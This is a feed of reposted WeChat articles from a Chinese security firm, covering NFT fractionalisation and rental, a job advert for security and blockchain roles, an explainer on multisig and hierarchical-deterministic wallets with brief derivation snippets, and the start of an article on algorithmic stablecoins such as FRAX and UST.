同样，用户也可以买断NFT。以碎片化头部项目Fractional.art为例，一旦有超过50%的代币持有量开始设置了拍卖底价时，则该NFT进入拍卖阶段，价高者得；
而在没有开启拍卖阶段时，用户可以以不低于底价的价格买断NFT。
碎片化的亮点和困境
  • 亮点：
作为一种提高流动性的方法，可以带来更高的资金效率（借贷、流动性挖矿等）；
降低参与门槛；
提升更高的曝光度。
  • 困境：
只适用于高价值的NFT；
仍存在定价这个老大难的问题；
碎片化后的FT也会面临流动性问题；
碎片化后空投等各类权益如何分配也需解决。

Fractional交易量（数据来源 https://dune.com/mizmatcat/Fractional.Art）

作为碎片化的头部玩家，Fractional.art对于这个细分赛道上未来发展影响很大。上面两图显示的是 Fractional 的每日交易量和每日资金库新增量，从交易量的角度来看，项目早期热度极高，但22年后就持续降温；
每日资金库新增量在22年开始有了新的起伏，可见NFT资金创建方诉求仍在，但随着web3大环境和NFT的降温，以及定价、权益、FT流动性等问题，交易量并没有产生新的波动。
总的来说，由于碎片项目只适用于高价值NFT，会跟NFT蓝筹项目的市场热度息息相关。作为一种突出的流动性提供者。
在下一个NFT蓝筹热潮开始时，Fractional.art可能会再次蓬勃。

7. NFT租赁

通过NFT的租赁，一方面使持有者闲置的NFT产生更大收益，另一方面使承租方可以不用花高价买入但获得NFT一段时间的使用权。
其中，Gamefi、元宇宙土地和权益类NFT的发展也助推着NFT租赁的发展：
1、gamefi：由于很多gamefi的进入门槛较高，借款玩家可以通过租用NFT的方式快速进入游戏，或者获得相应游戏奖励。例如Axie的火爆期，入场券三个精灵价格十分昂贵，如果采用租赁则可以快速进入游戏。
2、元宇宙土地：由于越来越多的线下品牌入驻元宇宙，有在Decentraland中租用场地进行布局/艺术展览的诉求。（类似于真实世界租用场地）
3、权益类NFT：出租NFT让承租者以低成本获得各项目社区的对应福利。
从承租人的视角来看，曾经NFT的租赁可以分为两种：抵押租赁和无抵押租赁。
抵押租赁：
需要提供抵押物（如ETH、BTC）之后才能租到NFT。代表项目：reNFT，采用了点对点的租赁方式。
无抵押物的租赁：
Double Protocol在提出了ERC-4907，设计了doNFT ，表示具有有效持续时间的 NFT，并确保到期时间。
对于无法升级合约（使NFT具有两个角色）的项目来说，也提供了包装NFT的方式（wNFT)，逻辑类似wETH，用户不会收到真正的NFT，而是包装后的NFT。
它具有和原始NFT同样的特性，并受到原始NFT的支持。当租用时间到时，包装后的NFT会被销毁，例如IQ Protocol。
不过由于抵押租赁一方面价格较高，另一方面会存在借款人不归还NFT的风险。
而无抵押物租赁财务风险更低更安全。随着ERC-4907在今年6月最终版的推出，租赁项目基本上都向无抵押物租赁方向转，目前reEFT也是无抵押租赁方式。
未完待续 ......




往期推荐



走进区块链的第一步：钱包服务

Unstable Stablecoins（下）

Unstable Stablecoins（上）

以太坊标准——EIP712

走进区块链的第一步：mev浅析

职等你来，零鉴科技招人啦！




阅读原文

跳转微信打开

]]> Thu, 02 Feb 2023 14:59:00 +0800 职等你来，零鉴科技招人啦！ https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&mid=2247496569&idx=1&sn=4f76c76667fa9f9265822a3e4fd4e3a6 叮～你有一份offer待查收！ 2022-09-19 12:31 湖南

叮～你有一份offer待查收！



1




关于我们


About Us


长沙零鉴科技有限公司是一家以前沿安全技术为尖刀，高水平安全人才为支柱，在信息安全日益严峻的形势下专业从事网络信息安全技术的自主创新型企业，零鉴科技致力于打击网络犯罪领域的技术研究与产品研发。截至目前，零鉴科技已为不同省市的多家执法机关提供高效精确的反网络犯罪情报分析服务和优质的安全解决方案。

2




招聘岗位


Jobs Wanted


一、内网渗透工程师（全职/实习）18-33k 14薪


岗位职责


1. 根据项目需要，对经过合法授权的目标进行深入的渗透测试；

2. 前沿攻击红队的研究及工具研发；

3. 具备良好的文字功底，能够完成项目协作文档、分析文档的编写工作。

工作要求


1. 熟悉BurpSuite、Nmap等漏洞检测工具, 熟练使用Kali操作系统及工具, 能够以手工或结合工具的方式进行黑盒白盒测试；

2. 熟悉Windows、Linux平台的攻击技巧. 关注最近的Web应用、系统的漏洞, 并能深入了解漏洞原理；

3. 熟悉SQL注入、XSS、CSRF等OWASP TOP10常见的Web安全漏洞原理、危害、利用方式、测试方法；

4. 熟悉PHP、JAVA、C#、Python、GO或JavaScript常用开发框架及库的安全漏洞问题原理；

5. 熟练掌握一种或多种编程语言,能够独立开发测试脚本或安全工具；

6. 熟悉大型网络渗透流程，拥有红队实战经验、后渗透经验和打击网络犯罪经验者优先；

7. 无犯罪记录，不得有黑灰产从业经历与背景。

加分项


1. 参与过大型CTF比赛并获得较好名次；

2. 参与过新型涉网犯罪案件的研判和打击。


二、JAVA安全研究员  18-20k 14薪


岗位职责


1. 配合团队进行红队工作，包括但不限于代码审计、脚本编写；

2. 熟知与JAVA相关的常见漏洞原理及利用方式，关注和及时跟进业界最新的安全技术发展，独立完成漏洞分析、复现和利用脚本的编写；

3. 日常研究JAVA相关漏洞和新型利用方式，并对涉及的业务系统进行漏洞挖掘；

4. 对其他常见的业务系统或框架的漏洞及时跟进。

工作要求


1. 熟悉常规的渗透测试，对JAVA常见组件、应用漏洞可熟练利用，了解漏洞点、触发过程及原理；

2. 熟练掌握JAVA、python语言，能够独立编写工具、脚本；

3. 熟悉常见JAVA反序列化链条并具备一定的挖掘反序列化链条能力；

4. 具备一定的JAVA代码审计能力；

5. 统招本科及以上学历（能力突出者学历和专业不限）；

加分项


1. 开发过红队相关的工具、开源工具，有个人技术博客；

2. 具备大型、复杂网络环境下的渗透测试经验；

3. 有个人原创漏洞分析文章或提交过非CMS类的CVE，参加过业内知名CTF；

4. 熟悉GO语言并有一定的脚本编写能力。


三、区块链研究员  18-33k 14薪


岗位职责


1. 研究区块链DAPP交互、合约调用与合约调用分析；

2. 阅读合约及编写合约调用代码；

3. 使用脚本分析合约的交易数据；

4. 研究分析区块链行业动向，追踪区块链技术的发展动态，跟进新兴技术。

工作要求


1. 熟悉Ethereum、Bitcoin等主流区块链的工作原理；

2. 熟悉智能合约底层的运行机制，能够熟练编写智能合约代码；

3. 熟悉python/golang/javascript、solidity或其他智能合约语言；

4. 拥有良好的计算机基础知识和英语阅读能力；

5. 拥有良好的团队协作精神和执行力，较强的分析和解决问题能力；

6. 统招本科及以上学历（能力突出者学历和专业不限）；

7. 无犯罪记录，不得有黑灰产从业经历与背景。

加分项


1. 掌握密码学、web2安全、逆向工程等相关学科知识；

2. 了解区块链经济模型，具备金融领域相关背景；

3. 具备区块链安全背景。


四、数据开发  15-33k 14薪


岗位职责


1. 负责使用SQL、graphsql、shell、Python等语言进行数据开发；

2. 根据业务需求，通过数据挖掘、自然语言处理或其他手段，建立针对性的识别或者分类模型；

3. 负责协助数据分析师进行数据分析项目；

工作要求


1. 全日制本科及以上学历，计算机/数学类相关专业，有相关工作经验者优先；

2. 精通Python、Java、Golang等语言中的一种或多种；

3. 熟练掌握SQL脚本语言；

4. 具备良好的项目交付跟团队协作能力，能够组织跨团队协作、推动项目落地；

5. 有区块链相关背景优先；

6. 具有良好的理解沟通能力，熟悉行业业务特点者优先考虑。

加分项


1. 了解区块链经济模型，具备金融领域相关背景；

2. 掌握区块链相关背景知识；

3. 掌握区块链资金、人民币资金追踪相关技能。




3



 

福利待遇


      Remuneration

1、北京市朝阳区、长沙市岳麓区，两个办公地点可选。

2、入职缴纳五险一金，周末双休，工作时间965（拒绝996）；享受各法定节假日、带薪年假、福利病假等；每年组织健康体检。

3、丰厚的项目奖金（最高可达项目合同金额10%），每年调薪一次。

4、团队年轻有活力；不定期举行员工各类文体活动，如：节日活动、各类聚餐、年会等；零食饮品不限量供应。

5、入职后可根据需求提供定制办公电脑一台（mac/windows、台式/笔记本任选）。


欢迎积极推荐身边适合的朋友，候选人试用期满，推荐人可获得 iPhone 14 pro 一台哦～





想了解更多？

可扫描二维码添加HR微信

简历投递邮箱:

nj@zeromirror.cn



点击“分享”让更多朋友知道

阅读原文

跳转微信打开

]]> Mon, 19 Sep 2022 12:31:00 +0800 走进区块链的第一步：钱包服务 https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&mid=2247496549&idx=1&sn=d95aa6140d4c136a43c299c57a8be58b 本文主要关注区块链上使用较广泛的钱包服务：多签钱包和分层确定性钱包。 原创 零鉴科技 2022-09-07 18:47 湖南

本文主要关注区块链上使用较广泛的钱包服务：多签钱包和分层确定性钱包。


加密货币钱包（Cryptocurrency wallet），是存储加密数字货币的公钥与私钥、私钥所对应的地址、该地址（群）的货币结算，以及货币交易的支持系统。
按照私钥存储方式，可以将钱包分为冷钱包和热钱包。

冷钱包

冷钱包（Cold Wallet），与热钱包相对应，也称离线钱包或者断网钱包，指网络不能访问到用户私钥的钱包。
冷钱包通常依靠“冷”设备（不联网的电脑，手机，专用的存储介质等）确保比特币私钥的安全，运用二维码通信让私钥不触网，避免了被黑客盗取私钥的风险，但是也可能面临物理安全风险。
将私钥存储在额外的特制硬件设备，使用时交易需在硬件内部进行交易签署才提交，只要硬件没有被破解，就能够保障私钥的安全性。

热钱包

热钱包（Hot Wallet），与冷钱包相对应，也称在线钱包或者联网钱包（Online Wallet），指网络能够访问到用户私钥的钱包。
热钱包因其联网特性，外人可能通过互联网访问到用户存储私钥的设备，因此安全性比冷钱包低，但比冷钱包更便利。
本文主要关注区块链上使用较广泛的钱包服务：多签钱包和分层确定性钱包（助记词钱包）。

多签钱包

  简介

多签钱包，顾名思义，就是需要多个人去签名执行某个操作的钱包。使用多签钱包进行转账时，往往需要大于 1 个人去签名发送交易之后，转账操作才真正完成。
使用多签钱包时，可以指定 m/n 的签名模式，就是 n 个人里面有 m 个人签名即可完成操作。多签规则可以根据自己的需求进行设置，例如：
• 1/2 多签模式：两个互相信任的朋友或自己的两个钱包，可以凭各自的私钥独立发起交易（类似于合伙账户）。
• 2/2 多签模式：金库中的资金需要2个管理员均同意才能动用这笔资金（需要两个私钥才能转移资金）。
• 2/3 多签模式：三个合伙人共同管理资金，为了规避私钥丢失的风险，其中两个私钥签名就可以转移资金。
多签钱包的验证过程类似于数字签名的验证，通过公私钥算法对签名内容进行校验，并判断当前签名的信息是否由特定的私钥进行签署。

  应用场景

多签钱包最常见的应用场景是需求强安全性的个人，以及管理公共资产的投资机构、交易所以及项目方。
1、资金安全
在多签钱包出现以前，账户（地址）的所有权掌握在私钥拥有者的手中。一但私钥泄露或遗忘就意味着失去了对钱包的控制权，与之关联的加密资产将完全丢失。
即使存在一些比较安全的方案来防止私钥的泄露和丢失（硬件钱包，助记词），但依旧无法有效的解决这样的问题。
多签钱包的存在，能够在很大程度上降低加密资产损失的风险。
以2/3多签模式为例，在全部的3个私钥中，只要有2个私钥完成签名授权就能完成加密资产的转移。
当然为了方便的话，也可以使用1/3多签模式，但这种方式仅仅是降低了密钥丢失的风险，并不能保证资产的安全性。
2、资金共管
很多DeFi 协议/ DAO 组织/区块链团队往往都有自己的金库，金库里的资产是整个生态所共享的，控制权不能掌握在某个人的手中，每次动用都要经过多数人的同意或社区投票。
多签钱包可以保证金库里的资产由领导者（贡献者）共同持有。
3、多签操作
在目前这个发展阶段，很多去中心化协议其实都是有个管理员权限的，这个管理员权限往往可以更改协议的某些关键参数。
行业普遍做法是把这个管理员权限交给一个多签钱包或时间锁，当需要更改参数时，需要多个人共同签署相关操作。

  实现原则

以太坊

以太坊原生并不支持多签地址，通常需要依靠智能合约来实现这一机制。
目前来说，以太坊上使用最广泛的多签智能合约由Gnosis团队进行开发，最新版本（1.3.0）主要由 GnosisSafe ProxyFactory，GnosisSafe proxy，GnosisSafe 三个合约组成，其中 ProxyFactory 和 Safe 合约由 Gnosis 官方进行部署，用户进行管理和操作的是 proxy 合约。
生成多签钱包
以rinkeby上一笔生成多签钱包的交易为例（0xd94dae4be055f443d47ad2b84db6ec740bda39bc8f6084b4dfd868a1b521ece4）：
1、用户调用 ProxyFactory 合约的 createProxyWithNonce 函数创建多签钱包，此时传入的参数如下：
 _singleton: 0xd9Db270c1B5E3Bd161E8c8503c55cEABeE709552  initializer: 0xb63e800d0000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000140000000000000000000000000f48f2b2d2a534e402487b3ee7c18c33aec0fe5e400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000005ce0b4d552a80ca79ef391a1d87be7350f3e09ab0000000000000000000000000000000000000000000000000000000000000000  saltNonce: 1661943294934
2、createProxyWithNonce 函数内部会调用 deployProxyWithNonce 函数部署 proxy 合约。部署 proxy 合约所使用的 creation code 为 GnosisSafeProxy 合约的 creation code ，并在 creation code 后带上 implementation 合约（Gnosis Safe）的地址作为 constructor 的参数 。 
创建的 proxy 合约地址为：0xc4CbE91175B315f5BaD83f8337d9103316492eD1。 
           

3、创建合约使用的是内联汇编的方式，通过 call 调用 proxy 合约内的函数，具体需要调用的初始化函数由参数 initializer 来实现。 

4、回到创建钱包的交易。通过解析 initializer 参数可以发现，调用的是 proxy 合约的 setup 函数进行初始化。

>>> sha3.keccak_256('setup(address[],uint256,address,bytes,address,address,uint256,address)'.encode('utf-8')).hexdigest()>>> 'b63e800d34f56a9238e5b86a8547a23865164bec371bede606e899182da118bf'>>> initializer[:8]>>> 'b63e800d'

setup 函数会将用户设置的多签规则（owner, threshold）设置到 proxy 合约中，完成用户对于多签钱包的特定需求。 

执行多签操作
相较于 Gnosis 旧版本的合约 MultiSigWallet 来说，新版本的多签合约不需要所有（阈值数）验证者都发起一笔表示“同意此次操作”的交易来完成多签操作，取而代之的是在最后一个验证者（达到阈值）同意多签操作后，他会将投同意票的验证者的签名进行汇总形成交易，并发送到链上来完成多签操作。
1、在 Gnosis app 上发送一笔多签交易，并等待其他验证者来签名交易。此时不会向链上发送签名交易，Gnosis 会将当前验证者所签名的信息存储在服务端。 
2、当验证者的数量达到阈值时，最后确认交易的验证者会向链上发送交易，执行对应的多签操作。 
当前多签交易的哈希为：0x13401cb61972e7df739f1be6cc137c7aa48e0b0ccc39e6d5e2c99059ec35242f，调用的是 proxy 合约的 execTransaction 函数。 
 
3、execTransaction 函数的主要逻辑有两部：调用 checkSignatures 函数来验证签名，调用 execute 函数来执行操作。所有的签名信息通过 signatures 参数传入函数。 
4、checksignatures 函数会对传入的 signatures 进行解析，在获取到每个验证者的签名信息后，根据签名的类型进行不同的验证。可以看到，对于个人地址来说，主要是通过调用 ecrecover 函数从签名信息中恢复公钥（地址），并判断地址是否均在 owners 数组中。 
5、execute 函数的功能是根据传入的 operation 和 data 执行对应的多签操作。 
比特币
在比特币中有2种类型的地址，1开头的是P2PKH（pay to script hash），就是个人地址，3开头的是P2SH（pay to script hash），一般是多签地址。
普通的比特币地址是由公钥做哈希后得到的，而多重签名地址基于脚本哈希，所以能够实现复杂的交易逻辑，因此在原生上比特币就支持多签。
实现多签的操作码为OP_CHECKMULTISIG，它允许将 UTXO 锁定到 N 个公钥上，并设置多签规则，需要至少提供 M 个签名，才能解锁资金。
在 P2SH 出现之前，实现多签采用的是付款到多重签名（ P2MS，pay to multi signature）的脚本来锁定 UTXO。
设置 M/N 多重签名条件的锁定脚本一般形式为：
M <Public Key 1> <Public Key 2> ... <Public Key N> N CHECKMULTISIG
解锁脚本为：
00 <Signature 1> <Signature 2> ... <Signature M> M <Public Key 1> <Public Key 2> ... <Public Key N> N CHECKMULTISIG
P2SM 在使用时有诸多不便，因为付款方需要了解锁定脚本（由收款方定义）的全部细节，并且付款方要为大量的交易数据支付高额的费用。
为了避免这种问题，BIP-16 提案引入了 P2SH ，允许将 UTXO 锁定到一个脚本的哈希（数据指纹）上。
在 P2SH 中，由哈希值代替的锁定脚本称为赎回脚本（redeem script），赎回脚本形式如下：
<Script> OP_HASH160 <Script Hash> OP_EQUAL
Script Hash 为解锁脚本的哈希值，在收款方需要使用到这笔 UTXO 时，会将赎回脚本与锁定脚本比对，确认哈希匹配后，解锁脚本会被执行以释放赎回脚本。
P2SH 让“向 N 个多重签名的具体脚本支付”，等同于“向有该哈希值的脚本支付”，变得跟 P2PKH 一样简单。
• 向付款方提供脚本哈希，就像 P2PKH 需要公钥一样
• 赎回脚本的内容，从锁定脚本转移到解锁脚本中，更多的交易费也从发送方转移到收款方
其他
波场链上的账户（地址）支持多重签名的操作，为账户设置了三种权限：owner-permission，witness-permission 和 active-permission。Owner permission 是一个账户的最高级权限，用于控制账户的归属、调整权限结构。因此即使拥有某个账户的私钥，也不一定拥有对这个账户的所有权限。
以 TEq6VNyFm7jiUcEssrkgsu8NV4C2jG5aWU 为例，这个账户的Owner permission的 threshold 为 2 ，地址为TEq6VNyFm7jiUcEssrkgsu8NV4C2jG5aWU 和 TDzfQDMXknfv12guDyP32zeJMgyyNGcqHD。这意味着对这个账户的所有操作都需要经过这两个地址同意才可以进行。

  风险

多签钱包最大的风险问题是：当多签钱包的部分私钥掌握在某些人（群体）中时，他们实际上也就拥有了对多签钱包的控制权。
如果在多签的群体中，有不怀好意的验证者企图控制多签钱包时，他可以联合其他多签者来获得钱包的所有权。
此时，其他负责任的验证者也无法改变“多签钱包已被毒化”的事实——他们无法联合足够的验证者来完成修正工作。多签钱包中的多签规则能够在一定程度上预防上述的问题。

但如果设置的多签规则中阈值未超过验证者数量的一半，那么意味着少数人的共识就能够代表大多数人，又或者如果验证者的数量过少，那么恶意的验证者仅需要花费较小的成本（策反部分验证者）就能够控制多签钱包。

例如前段时间跨链桥项目 Harmony 被攻击，损失了将近1亿美元，其中有一部分原因就是多签规则的设置存在问题（2/5的多签对则），导致攻击者仅需要获取其中两个的私钥就可以控制多签钱包。

因此，使用了多签钱包并不意味着绝对的安全和去中心化（社区自治）。同时还需要设置好多签规则，分配好对应的私钥，并确保拥有验证者私钥的主体之间不存在直接的利益关系。

多签规则的设计可以参考以下规则来提高多签钱包的安全性：
1、提高阈值，保证阈值大于验证者数量的一半
2、增加验证者的数量


分层确定性钱包


分层确定性钱包（heirarchical determinstic wallet, HD wallet），最早出现在BIP32的提案中。
在分层确定性钱包出现之前，拥有一个地址就意味着要管理一份公私钥对，这对于有大量需求的使用者来说是极为不方便的事情，并且容易发生遗漏的现象。
分层确定性钱包解决了这样的问题，它通过一个种子和一系列算法批量地生成私钥，使用者仅需要保存种子即可在后序的使用中获取到所有的公私钥对。
后来又提出了助记词的概念，将种子转化为（12/15/18/21/24）个单词，使得使用者能够更方便地构建钱包，批量生成和管理私钥，以及备份钱包。

  生成助记词

生成助记词的主要步骤：
•生成一个长度为 128~256 位的随机序列（熵）
•取熵的 SHA256 后的前 n 位作为校验和（n=熵长度/32）
•将随机序列和校验和进行拼接
•把步骤 3 得到的结果按“每 11 位”进行切割
•步骤 4 得到的 11 位字节按照顺序，匹配官方词库中的词

官方词库中一共有（2^11=2048）个单词，并且在 BIP39 提案中规定了下面 3 个要求：
1、只使用前 4 个字母就可以无歧义地找到某个单词，即词库不中存在前 4 个字母相同的多个单词
2、避免包含相似的词，比如不会同时包含单词“woman”和“women”
3、词库本身排序

  助记词生成私钥

助记词生成私钥的主要步骤：

1、助记词转换为 512 位 seed 。使用 PBKDF2 算法对初始密钥进行延伸（key streching），以此来降低初始密钥被暴力破解的概率。

passphrase =""  # default value is ""salt = bytes("mnemonic"+ passphrase, 'utf8')seed = hashlib.pbkdf2_hmac('sha512', mnemonic, salt, 2048)

2、seed 生成 Master Private Key 和 Master Chain Code 。使用 HMAC-SHA512 算法对 seed 进行单向哈希得到 512 位二进制字符串，左边 256 位为 Master Private Key ，右边 256 位为 Master Chain Code 。

h = hmac.new(b'Bitcoin seed', seed, hashlib.sha512).digest()master_private_key, master_chain_code = h[:32], h[32:]
  

3、使用 Master Private Key ， Master Chain Code 和 index 作为第一轮导出函数的输入，不断地进行推导，得到 index 位置上的子私钥。

推导子私钥的简要步骤如下：
 child_private_key = HMAC-SHA512(Key=parent_chain_code, Data=(parent_private_key*secp256k1.G||index)) + parent_private_key
具体算法细节可以参考 BIP32 提案中 Key Derivation 部分

（https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki）。


  私钥生成公钥

有两种方法可以生成公钥：

1、通过私钥求得（secp256k1椭圆曲线算法，G为椭圆曲线的基点）
public_key = private_key * secp256k1.G
2、通过父公钥推导出子公钥
在推导子私钥的过程中可以看到，由父私钥可以推导出子私钥。由公私钥之间的关系，可以构造出一个公钥推导函数，由父公钥推导出子公钥。
(1) child_private_key = HMAC-SHA512(Key=parent_chain_code, Data=(parent_private_key*secp256k1.G||index)) + parent_private_key(2) public_key = private_key * secp256k1.G由 (1) 和 (2) 公式可以推导出:child_public_key = HMAC-SHA512(Key=parent_chain_code, Data=(parent_public_key||index))*secp256k1.G + parent_public_key
这个特性在实际使用过程中有重大的意义，因为它允许在不使用父私钥的情况下，可以生成很多受父私钥控制的钱包地址。
比如说，私钥掌控人可以在服务器上存放父扩展公钥（parent extended public key），这样可以为需要使用服务的商户生成一系列的子公钥地址，用于收款或者其他用途。即使服务器被黑客攻破，私钥也不会泄露。
扩展密钥（extended key）是 BIP32 中规定的一种对密钥信息进行特定格式序列化后的结果。

扩展密钥包含6种信息，分别为version, depth, parent key fingerprint, child number, chain code, public key。


  安全性

上述所展示均为 Non-Hardened Derivation。因为它存在一定的安全问题：从父扩展公钥和子私钥（non-hardened），可以推导出父私钥，从而推导出所有的子私钥。
推导过程简述如下：
已知：parent_extended_public_key 和 child_private_key(1) 解析parent_extended_public_key，得到parent_chain_code和parent_public_key(2) 由公钥推导函数可以通过爆破计算出index(3) 变换私钥推导函数为parent_private_key = child_private_key - hmac_sha512(parent_chain_code, parent_private_key*G || index) ，计算出parent_private_key
为了避免上述的安全问题，官方对私钥的推导函数进行了完善。推导函数分为 Hardened 和 Non-Hardened 模式，Hardened 模式直接使用私钥作为 HMAC-SHA512 的输入， Non-Hardened（也就是上述的推导过程） 使用公钥作为 HMAC-SHA512 的输入。
Hardened Derivation：child_private_key = HMAC-SHA512(Key=parent_chain_code, Data=(0x00||parent_private_key||index)) + parent_private_keyNon-Hardened Derivation：child_private_key = HMAC-SHA512(Key=parent_chain_code, Data=(parent_private_key*secp256k1.G||index)) + parent_private_key
Hardened Derivation 解决了 Non-Hardened Derivation 存在的安全问题，不过这也意味着在对应的 index 下，父公钥将无法导出子公钥。

  BIP 44

BIP44 规定了每次推导时使用的 index 值，这些 index 串起来（使用 / 做分隔符 ）称为 path，每一个 index 在 BIP44 中都有不同含义。BIP44 提案扩展了助记词钱包的使用范围，使得这套规范能够在不同的链，不同的应用中都能够使用。
BIP44 的 path 规范为：
m / purpose' / coin_type' / account' / change / address_index
• m：固定值
• purpose：被设置为常量44，表示当前所使用的提案为 BIP44
• coin_type：用于区分不同的币种（关于已注册的 coin_type，可参考：SLIP-0044 : Registered coin types for BIP-0044）
• account：表示账户索引，从 0 开始
• change：为 0 表示“接收”地址（外部地址），为 1 表示“找零”地址（内部地址）
• address_index：表示地址索引，从 0 开始
对于比特币钱包而言，钱包的 path 为：
m / 44'/ 0' / 0' / 0 / 0
以太坊钱包的 path 为：
m / 44' / 60' / 0'/ 0 / 0
如果 index 中有单引号字符（'），则表示 Hardened Derivation，对应 index 需要额外加上 0x80000000 ，如 44' 表示 0x8000002c ，60'表示 0x8000003c。

  批量生成地址

通过一些第三方库，可以很方便的由助记词生成私钥以及地址。下图是由一组助记词生成前10个以太坊地址的示例：


References




参考


比特币多签钱包

[1]  https://blog.csdn.net/BitTribeLab/article/details/102696746

[2]  https://aaron67.cc/2018/12/29/bitcoin-transaction-p2ms-p2sh/

[3]  https://www.youtube.com/watch?v=6Fa04MnURhw

分层确定性钱包

[1]  https://www.alibabacloud.com/blog/how-ethereum-bip-32-hardware-digital-wallet-works_597788

[2]  https://github.com/bitcoin/bips/blob/master/bip-0032.mediawik

[3]  http://aandds.com/blog/mnemonic-hd-wallet.html

[4]  https://bitcoin.stackexchange.com/questions/62533/key-derivation-in-hd-wallets-using-the-extended-private-key-vs-hardened-derivati?rq=1

[5]  https://bitcoin.stackexchange.com/questions/87834/hardened-keys-vs-normal-keys-a-simpler-explanation



「 往期文章 」


以太坊标准——EIP712

走进区块链的第一步：mev浅析

Unstable Stablecoins（上）



阅读原文

跳转微信打开

]]> Wed, 07 Sep 2022 18:47:00 +0800 Unstable Stablecoins（下） https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&mid=2247495136&idx=1&sn=7e3f5693b8c0c7e4fd2203027fa1f0aa Unstable Stablecoins 稳定币（下） 原创 零鉴科技 2022-07-22 16:38 湖南

Unstable Stablecoins 稳定币（下）


正文共8198字，预计阅读时间21分钟


还没有看过上篇？点下方链接直达：

Unstable Stablecoins（上）


4


算法支持的稳定币

算法稳定币的最大特点就是完全的去中心化，并通过某种算法来维持稳定币与美元的锚定。
其算法主要体现在：通过模拟现实中央银行货币政策职能，在稳定币价格高于锚定价格时增加市场供给，在稳定币价格低于锚定价格时后回收供给，以此维持稳定币价格的均衡。
其实这里的算法一词，可以理解为金融模型，本质上算法稳定币是依托于市场和各种金融策略来维持其稳定性的。

FRAX

FRAX是第一个采用混合算法的稳定币协议，目前部署在以太坊链上，通过社区进行共同管理。在UST崩盘后，FRAX成为“算法稳定币”中总市值最高的项目，在所有稳定币市值中排名第五。
严格来说，FRAX并不是真正意义上的算法稳定币，更贴切的词是：部分数字货币支持的稳定币。


  FRAX 的 稳 定 机 制  


FRAX采取的是混合算法，即抵押 + 算法的模式，来维持FRAX与美元锚定的特性。在FRAX协议中，包括稳定代币FRAX （FRAX），治理代币FRAX Shares （FXS）和抵押品的合约池（创世阶段为USDT和USDC）。
与其他算法稳定币类似，FRAX也是通过市场中的套利者来维持与美元的锚定价格，不同的地方在于铸造和销毁时所使用的代币为：抵押代币+治理代币（FXS）。
抵押品（抵押代币）与算法（治理代币）的比例叫做抵押比率（Collateral Ratio，CR）。
例如，在98%的抵押品比率下，每铸造一枚FRAX都需要0.98美元抵押品，并燃烧0.02美元价值的FXS。每销毁一枚FRAX都可以兑换成0.98美元的抵押品，并铸造的价值0.02美元的FXS。
在FRAX扩张期间，该协议降低了系统的抵押比例，从而降低了支撑所有FRAX的抵押品数量，增加了必须存入的FXS来铸造FRAX。
在收缩期间，协议提高了抵押品所占的比例，以便FXS的赎回者从系统中获得更多的抵押品的抵押品。由于抵押品的价值在增长，从而增加了市场对FRAX的信心。
在最开始，该协议每小时调整一次抵押率，每一次调整0.25%。当FRAX价格在1美元或1美元以上时，函数每小时降低一次抵押品比率，当FRAX价格在1美元以下时，函数每小时提高一次抵押品比率。
这意味着，如果FRAX价格在某段时间内大部分时间都在1美元或超过1美元，那么抵押品比率将会减少。如果FRAX价格在大多数时候都低于1美元，那么抵押品比率会朝100%方向增长。
FRAX的抵押 + 算法的模式，保证了FRAX在脱离一定的锚定（脱离到抵押比率）后，拥有着1:1的兑换承诺。
这意味着FRAX在遇到死亡螺旋时，抵押比率可以作为一个良好的缓冲垫，降低了FRAX继续脱锚的风险，并给予了市场一定的信心，使得FRAX能够重新回锚。

UST

UST全称为Terra USD，它是运行在Terra公链上的锚定美元的算法稳定币，UST在2018年由总部位于新加坡的Terraform Labs推出，其创办人为Do Kwon和Daniel Shin。


  UST 的 稳 定 机 制  


UST通过与Terra公链中原生代币Luna互相绑定，组成双币销毁铸造模式，来维持UST与美元锚定的特性。
双币销毁铸造模式具体来说就是：铸造UST需要燃烧同等价值的Luna，反之通过销毁UST来赎回同等价值的Luna。当UST锚定美元的价格发生偏差时，这种情况下在UST和Luna之间就存在着套利的机会。
维持锚定价格核心算法的金融模型为：
• 当UST价格大于1时（例如1.01美元），可以通过销毁价值1美元Luna，来铸造1个UST，然后卖出1UST得到1.01美元，获利0.01美元。这样做的结果会导致 UST 通胀，而Luna通缩。此时Luna因供应减少而增值，UST因供应增加而推动价格降至1美元。
• 当UST价格小于1时（例如0.99美元），可以用0.99美元买入1UST并销毁，来铸造价值1美元的Luna，然后卖出Luna得到1美元，获利0.01美元。这样做的结果会导致UST通缩，而Luna通胀。此时Luna因供应增加而贬值，UST因供应减少而推动价格回升至1美元。
智能合约无法自动地完成上述的操作，完成上述操作的是市场中的套利者。套利者通过监控UST与美元的锚定情况，在到达一定价差后进行套利，最后在获取了利润的同时，也间接地维持了UST价格的稳定。


   UST 的 发 展   


提到UST的发展，就不得不提到与其密切相关的Anchor协议。
Anchor 是算法稳定币项目 LUNA 背后团队 Terraform Labs 发布的借贷协议，它的本质为Defi借贷协议。该协议创新地利用了POS代币（LUNA, DOT, SOL, ETH2.0等）的质押收益来作为储备金。
简单来说，Anchor之所以可以给用户带来稳定的 U 本位收益是因为存款用户不光可以收取利息，还可以额外卖出借款用户的质押收益。
Anchor协议最大的特点是提供了极高的年化率（Annual Percentage Yield, APY）。一个提供了接近20%年化的，“价格不会波动”的“理财”产品势必会在市场上吸引众多的投资者。
借助着Anchor协议，UST在2021年短短的一年内，流通供应量从2亿美元猛增至80亿美元，并在2022年4月达到185亿。单单在Anchor上进行存款收益的UST就有140亿，占据了50%以上Terra DeFi资金。


Anchor推出的 Borrow V2 支持更多的抵押品种类，从而可以吸引持有这些资产的用户成为新的借款人，同时也能让 Anchor 变得更加稳定。
但截至UST崩盘前，bLuna 占据了所提供抵押品的65%左右的份额。这实际上是一个隐患，如果Luna暴跌，那么会导致Anchor协议上大规模的清算，从而破坏整个 Anchor 的借贷市场。


Terra还为UST打造了跨链和线下的生态，使得不同市场的人们都可以参与Anchor的项目中。UST流通量的激增，也推动了它的姐妹代币Luna的价格（购买Luna — 燃烧Luna — 铸造UST）。
